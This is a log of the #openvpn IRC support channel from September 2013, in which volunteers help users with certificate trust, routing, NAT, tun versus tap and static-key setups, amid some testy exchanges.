22:50 < Skapare> that's your definition of "key" ... that's not what I asked of you ... I asked what term it is that YOU use instead of "key" for what includes all these cases ... so that you can say what I should use instead of "key"
22:51 <+pekster> See above. And I do hope that was a mis-paste
22:52 < Skapare> no, it's an irssi bug when scrolling ... sorry
22:52 <+pekster> Can you define your issue?
22:52 <+pekster> Maybe?
22:52 <+pekster> You have what, a PKI out of your control that signs "many" certs and you want to accept "some" of them?
22:53 <+pekster> (in which case the 3 directives I've suggested you look at in fact do exactly that! go figure)
22:53 < Skapare> the one before me right now is trying to find what term I should use instead of "key" that has apparently caused much issue
22:53 <+pekster> I've just explained what a key is
22:54 < Skapare> yes, multiple times ... but you didn't say what term I should have used in its place for what I was trying to say
22:54 <+pekster> Which is?
22:54 <+pekster> What, the "final way a prospective client is confirmed?
22:54 < Skapare> the term that covers all the things you told me that "key" does not
22:55 <+pekster> key does not cover the meaning of life (that's 42, though this will be lost on you if you're not a Douglas Adams fan)
22:55 < Eugennerz> I'm more of a turbine
22:55 <+pekster> What _exactly_ are you having problems understanding?
22:56 < Eugennerz> Are you seriously arguing with some idiot about terminology?
22:56 < Skapare> I'm having problems understanding how to communicate with you, since, as you have pointed out, I'm using the wrong terms
22:56 < Eugennerz> Dude, you need to learn when they're wrong and have a beer instead
22:56 <+pekster> Eugennerz: I haven't actually heard this person explain what their problem is ;)
22:56 < Eugennerz> People who can't put their tech questions into English need to just fuck off
22:56 < Eugennerz> Cuz this is ridonkulous
22:56 <+pekster> They made some vauge reference to a CA out of their control, but no further explanation
22:57 < Eugennerz> That's where you do what I do - ignore the question as boring
22:57 <+pekster> Well, yes. I thought I was going to get a valid question before I de-op'd myself. Maybe I should have kicked Skapare instead as someone who can't manage to ask a question in 30 minutes
22:57 <+pekster> (and who can't read the manpage references I've given, and who obviously hasn't read about "how to ask question the smart way" -- got the hint yet Skapare ?)
22:58 < Eugennerz> Eh, it's probably a valid question/problem. Just not one that we ought to care about.
22:58 <+pekster> Well, if it's a CA out of the maintainer of the VPN's control, directing to manpage options to deal with it is relevant to openvpn
22:58 < Eugennerz> Or, the sane option, use a different fucking CA.
22:58 < Eugennerz> Cryptokeys are cheap
22:58 <+pekster> (eg: if you wanted to accept CAcert-signed X509's, but only for users you authorized, this would be the way to go)
22:58 <+pekster> Well, yes
22:59  * pekster had, perhaps foolishly hoped that a sane question would come of this :(
23:00 <+pekster> On the plus side, my 2nd VM's cross-compile environment built in this time, so it wasn't a complete waste ;)
23:00 < Skapare> Eugennerz: I now think it is pointless to (re-)ask this question since I'm never going to get the exact term I need to use in place of how I (incorrectly) used "key"
23:00 < Eugennerz> !refund
23:00 <@vpnHelper> "refund" is If you are not satisfied with the GPL openvpn, or the support provided by the volunteers of #openvpn, you are entitled to a full refund of the purchase price and are invited to use another VPN solution. Elsewhere.
23:01 < Eugennerz> But feel free to ask; we're very welcoming.
23:01 < Eugennerz> I just don't bother answering if it doesn't interest me / there's no money changing hands
23:02 < Skapare> I think it would be wasting people's time if I am using the wrong terminology
23:02 < Skapare> when it gets quiet here, I'll go read about --ccd-exclusive
23:03  * Eugennerz gets bullhorn, tequila
23:07 <+pekster> Eugennerz: Better than my evening "nectar of life" but mine is free for spending the night at a client site, so I can't complain about the quality (much;)
23:08 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
23:11 < hjohnson> damnit, I've finally found a song that's been stuck in y head for years, I have a recording of it (well it's part of the soundtrack of a video).. I need to identify tha ttuen
23:13 < Skapare> songs stuck in heads are bad ... worse when 2 songs ... had that problem a few weeks ago ... fortunately it only lasted for 1 day
23:23 -!- devdel [~d3vd3l@h-239-51.a199.priv.bahnhof.se] has joined #openvpn
23:23 -!- devdel [~d3vd3l@h-239-51.a199.priv.bahnhof.se] has quit [Client Quit]
23:23 -!- krantz [~d3vd3l@h-239-51.a199.priv.bahnhof.se] has joined #openvpn
23:23 -!- krantz [~d3vd3l@h-239-51.a199.priv.bahnhof.se] has quit [Client Quit]
23:24 -!- devdel [~d3vd3l@h-239-51.a199.priv.bahnhof.se] has joined #openvpn
23:24 -!- devdel [~d3vd3l@h-239-51.a199.priv.bahnhof.se] has quit [Client Quit]
23:30 < rob0> John Jacob Jingleheimer Schmidt, that's my name too. Whenever we go out, the people always shout, "There goes John Jacob Jingleheimer Schmidt," Da da da da da dada ...
23:31 < rob0> enjoy :)
23:43 < jeev> heh
23:53 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
23:53 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
23:55 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
--- Day changed Thu Sep 19 2013
00:03 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:05 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 245 seconds]
00:24 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
00:24 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
00:24 -!- mode/#openvpn [+v s7r] by ChanServ
00:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:38 -!- FluxD [~FluxD@unaffiliated/fluxd] has joined #openvpn
00:45 < FluxD> Hi, I want to remove the redirect-gateway from my config so some ips can connect to original host. I am not sure what iptables to get It working otherwise. Any suggestions ? Here is my config with ips censored http://paste.kde.org/pd39bfb96/ Thanks!
00:46 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
00:50 < sander__> After reading this article: http://www.nytimes.com/2013/09/06/us/nsa-foils-much-internet-encryption.html?pagewanted=all  then it says: By 2010, the Edgehill program, the British counterencryption effort, was unscrambling VPN traffic for 30 targets and had set a goal of an additional 300.
00:51 < sander__> But by 2006, an N.S.A. document notes, the agency had broken into communications for three foreign airlines, one travel reservation system, one foreign government’s nuclear department and another’s Internet service by cracking the virtual private networks that protected them.
00:52 < sander__> Is there a reason to belive that this happend with openvpn too?
00:57 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:06 < sander__> http://www.theregister.co.uk/2013/09/10/torvalds_on_rrrand_nsa_gchq/ <-- This article says that even if rdrand is backdoored.. then it dosn't matter :-) :-)
01:06 <@vpnHelper> Title: Torvalds shoots down call to yank 'backdoored' Intel RdRand in Linux crypto • The Register (at www.theregister.co.uk)
01:07 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
01:10 < sander__> hjohnson, ^^
01:13 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:17 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
01:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
01:23 < Skapare> sander: how random will a small amount of data be if you run it through some hashing like sha512 ?
01:28 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
01:28 -!- xTz is now known as Guest66637
01:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
01:37 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dsolbsyswxqygidd] has quit [Read error: Connection reset by peer]
01:37 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-yguhohumtqwlmayz] has joined #openvpn
01:43 -!- master_of_master [~master_of@p4FF24E80.dip0.t-ipconnect.de] has joined #openvpn
01:46 -!- master_o1_master [~master_of@p4FF24489.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
02:11 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 248 seconds]
02:17 -!- ihre [~ihre@unaffiliated/ihre] has joined #openvpn
02:19 -!- troydm [~troydm@unaffiliated/troydm] has joined #openvpn
02:20 < troydm> hello all, how do i prevent my client from pulling dns server push command without changing config on vpn server
02:20 < troydm> i know there is route-nopull option for route
02:21 < troydm> but what is the option for dns server push
02:28 -!- troydm [~troydm@unaffiliated/troydm] has quit [Ping timeout: 264 seconds]
02:31 < ihre> Can I force the openvpn client to write a pidfile? I can find a .pid on the openvpn server, but nothing related on the client
02:39 < mapps> http://serverfault.com/questions/318563/how-to-push-my-own-dns-server-to-openvpn
02:39 <@vpnHelper> Title: How to push my own DNS server to OpenVPN? - Server Fault (at serverfault.com)
02:39 < mapps> any use?
02:42 < ihre> he dropped already
02:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:59 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
03:18 < mapps> ah
03:18 < mapps> damn didnt notice
03:18 < mapps> silly me
03:18 < mapps> and not sure of your answer
03:18 < mapps> question sorry
03:22 < [ilin]> hi, via the management interface there are few commands that reference client ID (CID). How can i find the CID of my clients?
03:23 < [ilin]> oh ok, it is documented in the management-notes.txt - when the client connects it gets a CID
03:27 < mapps> By default, when an OpenVPN client is active, only network traffic to and from the OpenVPN server site will pass over the VPN. General web browsing, for example, will be accomplished with direct connections that bypass the VPN
03:27 < mapps> what does that mean..what traffic would be going through the vpn..i dont get it
03:41 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:49 < defswork> mapps, its trying to say that by default the default gateway isnt changed on the vpn client machine
03:49 < defswork> so all that goes over the vpn is point to point traffic server <-> client
03:50 < defswork> you can of course add routes etc.. to route subnets, etc.. and all traffic
03:52 < mapps> thanks :) yea think i get it now so yea unless i was communicating with the von server then everythig is p2p?
03:52 < mapps> yea
03:52 < mapps> thanks pal
03:53 < defswork> mapps by default the only new route on the vpn client is to the vpn tunnel address of the vpn server
03:54 < mapps> so is what i said right above or am i still wrong
03:54 < defswork> right
03:54 < mapps> thanks mate:D
03:55 < mapps> appreciated
03:56 -!- narcos [~narcos@93.89.92.209] has joined #openvpn
04:04 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
04:21 -!- Sorcier_FXK is now known as escalier
04:23 -!- escalier is now known as Sorcier_FXK
04:37 < narcos> Hi all. I'm doing a NAT-Hack in order to allow S1 to access M2 in this scenario:     S1 <==tap== M1 ==eth1== M2. I'm not able to edit M2's routing, so needed to NAT-Hack. It works, but the tutorial I followed uses tap interfaces. When changing to tun (since I don't need L2, and I think they made a mistake anyway) it fails. Could someone help me understand why? Here are my configs, diag, and results: http://pastebin.com/raw.php?i=bshB5JkN
04:45 < ihre> narcos: lsmod | grep tun, is the tun module loaded ?
04:45 < ihre> if not, modprobe tun
04:47 < ihre> mapps: figured it out by the way, --writepid can also write a pidfile for the client :)
04:52 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
04:53 < narcos> ihre: 'lsmod | grep tun' returns nothing, 'modprobe tun' doesn't change that.  I can ping between S1 and M1 over the tun.
04:54 < narcos> (before and after doing the modprobe)
04:59 -!- Champi [Champi@rootshell.fr] has joined #openvpn
05:03 < ihre> narcos: what os on m1?
05:05 < narcos> ihre: Debian
05:11 < narcos> Hmmmm
05:13 < narcos> S1 can ping M1, and on both tun interfaces I see the ICMP traffic. If I ping M2 from S1, however, I see the ICMP on S1.tun0, but not on M1.tun0.
05:15 < narcos> !nathack
05:15 <@vpnHelper> "nathack" is see https://community.openvpn.net/openvpn/wiki/NatHack for info on how to solve the problem when you need !route_outside_ovpn but cant add a route to the gateway or the lan machines
05:29 < narcos> !linnat
05:29 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
05:29 < narcos> I'm pretty sure I'm doing that :-(
05:51 < ihre> narcos: sorry was busy, but I installed deb in a vm in the meanwhile
05:51 < ihre> lsmod | grep tun as root doesnt return anything, but after loading it does
05:52 < ihre> http://dpaste.com/1387487/
05:53 < ihre> as long as lsmod | grep tun doesnt return anything, you dont have the module loaded
06:06 < narcos> ihre: Hmmmm
06:06 < narcos> ANy idea why mine wouldn't be loading?
06:07 < narcos> ihre: It's odd that I can ping/etc over the VPN tun interface, thought?
06:07 < narcos> ihre: Specifically I'm using Kali, which is built on Debian, but I don't think that makes a difference.
06:07 < narcos> ihre: In tap mode I can trace route between Server and Machine02, but in tun mode it tries to go via the internet. That's odd, right??
06:08 < narcos> ihre: Go to the bottom for trace route output, as well as routing tables, in both tun and tap modes:  http://pastebin.com/raw.php?i=9GRM9xpE
06:12 < narcos> Well, maybe I must just use tap interfaces :-(
06:20 < narcos> I wonder if I can dynamically populate routes on connect
06:21  * narcos thinks of running an up script that queries routes via SSH and then populates them locally.
06:37 < [ilin]> is anyone running bridged openvpn on a VPS with one public nic? do you create a bridge with the tap interface? or just use tap?
06:50 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:50 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:50 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:28 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
07:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:33 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
08:00 -!- kirin` [telex@gateway/shell/anapnea.net/x-glcsiunfvjtpfysm] has quit [Quit: Lost terminal]
08:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
08:07 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:10 -!- Guest66637 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
08:10 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
08:37 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 248 seconds]
08:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:52 < Mike--> !sitetosite
08:52 < Mike--> !?
08:52 < Mike--> !goal
08:52 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
08:52 < Mike--> !welcome
08:52 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
08:52 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
08:53 < Mike--> !howto
08:53 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
08:54 -!- nado_ [~nado@static.101.236.9.5.clients.your-server.de] has joined #openvpn
08:54 < nado_> hi
08:54 -!- nado_ is now known as nado
08:54 < nado> i have problems connecting to my vpn
08:55 < nado> us=187694 TCP: connect to [AF_INET]ip:443 failed, will try again in 5 seconds: Connection timed out
08:55 < nado> i tried to connect via telnet, and it works
08:55 < nado> but not with openvpn
08:55 < nado> i dont think its a key/cert problem
08:56 < nado> so i dont know anymore where to search after my errors
08:57 < Mike--> !site2site
08:57 < Mike--> !s2s
08:57 -!- xrosnight [~quassel@61.144.205.61] has joined #openvpn
08:57 < nado> ?
08:57 -!- xrosnight [~quassel@61.144.205.61] has quit [Changing host]
08:57 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
08:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit []
08:58 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Client Quit]
08:58 -!- xrosnight [~quassel@61.144.205.61] has joined #openvpn
08:58 -!- xrosnight [~quassel@61.144.205.61] has quit [Changing host]
08:58 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
09:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:02 < tharkun> nado: port 443 is regularly used for https, did you instruct openvpn to use that port instead of the default one?
09:02 < nado> yup
09:03 < nado> and no http(s) server is already running on the server
09:03 < tharkun> nado: I mean on the client
09:03 < nado> yes
09:05 < tharkun> nado: netstat -pantu runned as root to confirm that you are indeed connecting the openvpn on that particular port.
09:05 < [ilin]> nado, have you checked with tcpdump on the server listening on tcp/443
09:05 < [ilin]> do you see any packets when the client connects
09:05 < [ilin]> ?
09:06 < nado> tharkun: on the client ?
09:06 < nado> while trying to connect ?
09:06 < tharkun> nado:  on the server
09:07 < tharkun> as for the next step would be to use tcpdump on the server to monitor any incomming connections from the client.
09:07 < nado> tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      15644/openvpn
09:07 < [ilin]> nado, on the server do .... tcpdump -n tcp and port 443
09:08 < [ilin]> then try to connect
09:08 < [ilin]> also, on the server make sure you have logging so that you can see why the server does not accept the connection
09:12 < nado> i do not receive anything on the server
09:12 < nado> and the log is empty
09:17 -!- Netsplit *.net <-> *.split quits: kevinsky, n2deep, BadAtom, theneb, ihre, sybariten, matsh
09:18 -!- Netsplit over, joins: n2deep
09:18 -!- Netsplit over, joins: theneb
09:18 -!- Netsplit over, joins: BadAtom
09:23 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-yguhohumtqwlmayz] has quit [Read error: Connection reset by peer]
09:24 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-wfmmvqqdlcpafndx] has joined #openvpn
09:27 -!- sybariten [~jake@s83-191-227-49.cust.tele2.se] has joined #openvpn
09:28 -!- ihre [~ihre@86.86.252.187] has joined #openvpn
09:28 -!- ihre [~ihre@86.86.252.187] has quit [Changing host]
09:28 -!- ihre [~ihre@unaffiliated/ihre] has joined #openvpn
09:28 -!- matsh [divine@nanogene.org] has joined #openvpn
09:28 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
09:31 < [ilin]> nado
09:31 < [ilin]> keep the tcpdump running
09:31 < [ilin]> and to a telnet test again on port 443
09:31 < [ilin]> do you see any packets?
09:47 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
09:54 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Quit: No Ping reply in 180 seconds.]
09:54 -!- xrosnight [~quassel@61.144.205.61] has joined #openvpn
10:00 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:05 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 268 seconds]
10:07 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
10:08 < Mike--> anyone have a good site-to-site vpn tutorial using openvpn?
10:08 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
10:09 -!- raidz_away is now known as raidz
10:13 < Skapare> "site-to-site vpn tutorial" ?
10:16 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:31 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-wfmmvqqdlcpafndx] has quit [Ping timeout: 245 seconds]
10:32 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-bzyynnimdmpeauus] has joined #openvpn
10:34 < Skapare> easy-rsa supposedly comes with openvpn ... but I see no man page for it ... wondering what to put in for some values in "var"
10:35 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
10:35 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
10:50 <@ecrist> ooh,  new donation!
10:50 <@ecrist> http://www.secure-computing.net/wiki/index.php/OpenVPN/Donations
10:50 <@vpnHelper> Title: OpenVPN/Donations - Secure Computing Wiki (at www.secure-computing.net)
10:52 <@krzee> cool!
10:53 <@krzee> "How Donations Have Been Used"
10:53 <@krzee> cool! i have not looked at that page in a long time
10:59 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 248 seconds]
11:00 < Skapare> so I am editing that "var" file for easy-rsa ... some of the fields at the bottom I don't know what to put in ... should I just go ahead and put some fake data in for now and try it?
11:00 < Skapare> I didn't see a man page
11:03 -!- daBrado [znc@dabrado.net] has joined #openvpn
11:04 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 260 seconds]
11:10 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
11:13 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:18 -!- mattock is now known as mattock_afk
11:23 -!- matt_ [~matt@ccpc-mwr.bath.ac.uk] has quit [Quit: leaving]
11:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
11:30 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
11:34 -!- rhagu [~Johannes@dslb-088-065-058-040.pools.arcor-ip.net] has joined #openvpn
11:36 < rhagu> hi, I would like to setup a openvpn server within a vm. I use dyndns on my router and would open a port, which is then forwarded to the vm. As I am a little afraid of hacks and so on: Is this idea good / bad? Which OS should I use for the VM?
11:41 < rob0> Actually the better question is what VM tech to use? Avoid openvz:
11:41 < rob0> !openvz
11:41 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
11:42 < rhagu> I am using kvm right now
11:42 < rob0> The "best" OS/distro to use is the one you know best.
11:43 < rhagu> that would be minimal ubuntu or debian, I guess, but I actually thought about using openbsd as it is designed for security
11:44 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:45 -!- trumee_ is now known as trumee
11:45 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
11:45 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
11:45 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
11:47 <@krzee> !bestos
11:47 <@vpnHelper> "bestos" is the best os for openvpn is the one you are most comfortable with
11:47 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
11:47 -!- narcos [~narcos@93.89.92.209] has quit [Quit: This computer has gone to sleep]
11:47 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
11:47 -!- mode/#openvpn [+o krzee] by ChanServ
11:48 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has quit [Ping timeout: 245 seconds]
11:55 < rob0> Asbestos?
11:57 -!- gardar [~gardar@gardar.net] has joined #openvpn
11:58 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has joined #openvpn
12:03 -!- xrosnight [~quassel@61.144.205.61] has quit [Ping timeout: 240 seconds]
12:03 < altermann> hi there
12:04 < altermann> i'm trying to setup site-to-site openvpn between 2 routers
12:04 < altermann> do both have to servers or one is client and one is server?
12:06 <+pekster> altermann: From an openvpn standpoint, only one can be the "server"
12:06 < altermann> thanks
12:08 < altermann> as far a port ffwd is concerned, since the gateway is acting as the vpn server and client on either end, do i need to open the 1194 in the firewall for the router's lan ip?
12:09 <+pekster> The system accepting incoming connections will need to accept the inbound packets through the firewall, yes
12:12 -!- xrosnight [~quassel@61.144.205.61] has joined #openvpn
12:12 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
12:14 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
12:19 < altermann> so as long as i have the static key in the config of both routers and the ports forwarded, i should be able to connect using vpn?
12:19 -!- crus` [~crusader@2001:44b8:319e:2900:c1a8:dcaf:dad7:fa31] has joined #openvpn
12:22 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 248 seconds]
12:23 -!- crus [~crusader@2001:44b8:319e:2900:8176:98e4:db2c:1749] has quit [Ping timeout: 246 seconds]
12:31 < altermann> ok i've got the static key in both configs
12:31 < altermann> no go
12:31 < altermann> do i need to generate a separate key for the client?
12:31 < altermann> my bad
12:31 < altermann> wrong field
12:32 < rob0> The whole point of a static key is that it is a SHARED secret. Also, there is no client and no server; static key is "--mode p2p".
12:35 < altermann> gottcha
12:36 < altermann> i entered it in the wrong field on the client side, but now i've got it correctly setup
12:36 < altermann> still no vpn
12:40 < altermann> i shouldn't be required to add the vpn connection in the windows network and sharing center?!
12:40 < altermann> that's the whole purpose of having the vpn on the gateway
12:41 < altermann> wait windows uses PPTP
12:41 < altermann> nm
12:47 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Remote host closed the connection]
12:47 < altermann> ok, so as far as the encryption goes, if i only use a static key, does that mean i don't have any?
12:47 < Eugennerz> It's static.
12:47 < Eugennerz> !forward
12:47 < Eugennerz> !factoids search forward
12:47 <@vpnHelper> 'winipforward', 'linipforward', 'fbsdipforward', 'linportforward', 'osxipforward', 'ipforward', and 'forwardsecurity'
12:47 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:47 < Eugennerz> !forwardsecurity
12:47 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
12:48 < altermann> i'm using openvpn
12:48 -!- mattock_afk is now known as mattock
12:48 < altermann> so no AES or blowfish
12:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:53 < tharkun> My use case is the following: If client A can't connect directly to Server 1 I wan't it to connect to Server 2. What is my search term for google?
12:58 < hjohnson> altermann: eh? OpenVPN uses either AES or blowfish afaik
12:59 < altermann> ok, even with a static key?
13:00 < Aketzu> you can set --cipher none  if you want to disable encryption... otherwise it is encrypted
13:01 < hjohnson> a static key just means that it's not changing the AES key on a regular basis
13:02 < rob0> An advantage of static key encryption is that EVERY packet looks random. There's no identifiable SSL handshake, just encrypted data.
13:03 < rob0> The disadvantage is as the factoid noted, no forward security.
13:03 < tharkun> Can multiple clients use the same static key?
13:03 < rob0> uh, again, there is no client with static keys :)
13:03 < tharkun> he he ;P
13:03 < tharkun> p2p :)
13:03 < tharkun> multipeer systems can be achieved using static keys?
13:04 < tharkun> better yet a single static key ;P
13:04 < rob0> You must use the same key on each end of a p2p tunnel. You could use the same key on other tunnels, but that would seem silly to me.
13:04 < tharkun> It is indeed silly. Just blowing some steam out. A hard day at the office.
13:05 < rob0> No, multiple clients was implemented with client/server mode, and these require TLS.
13:05 < rob0> s/was/were/ sounds better
13:05 < tharkun> Can a server that is recieving multiple clients be a client to a different server?
13:06 < rob0> you can run as many openvpn instances as you desire and can manage
13:06 < tharkun> Is there an openvpn equivalent to man 5 postconf?
13:07 < rob0> yes, "man 8 openvpn" :)
13:07 < tharkun> :)
13:18 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Quit: Terminated with extreme prejudice - dircproxy 1.0.5]
13:26 -!- xrosnight [~quassel@61.144.205.61] has quit [Read error: Connection reset by peer]
13:27 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:29 -!- jtrucks is now known as sysadmin
13:29 -!- sysadmin is now known as jtrucks
13:39 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has quit [Read error: Connection reset by peer]
13:44 < P4k3> Uhm... I'm running a windows machine with a bridged openvpn setup... I had problems getting the bridge up when I set it up the first time a couple of years ago.. And don't remember what I did wrong. Now Im in the process of moving it to another server.. And again.. problems with the bridge..
13:44 < P4k3> Virtual machines, openvpn interface set to dhcp and the lan-interface also set to dhcp - bridged and then the bridge interface has a static ip valid for the LAN. But no network connectivity working. I have disabled the firewall on the machine.. still doesn't work...
13:48 -!- xrosnight [~quassel@61.144.205.61] has joined #openvpn
13:48 -!- xrosnight [~quassel@61.144.205.61] has quit [Changing host]
13:48 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
13:49 <+pekster> P4k3, the general recommendation is not to bridge unless you need to
13:49 <+pekster> See:
13:49 <+pekster> !tunortap
13:49 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
13:49 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
13:52  * Skapare is sure he does not need to do bridging
13:53 < P4k3> Yea I don't...
13:54 < P4k3> Has it always been like that?
14:00 -!- wallbroken [~wallbroke@151.56.246.53] has joined #openvpn
14:00 < wallbroken> hi
14:01 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has joined #openvpn
14:02 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
14:06 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has quit [Ping timeout: 256 seconds]
14:07 < P4k3> Can your vpn clients get ip-addresses in the same ip-range as the LAN is using tun/routed configuration?
14:08 <@ecrist> sure
14:08 <@ecrist> layer 2 traffic won't cross the tunnel, though
14:08 <@ecrist> which means things like arp won't work
14:09 <@ecrist> in general, doing so is bad practice.
14:09 < P4k3> Problem with me changing from bridged to routed is that I have 30 clients I will need to reconfigure :/
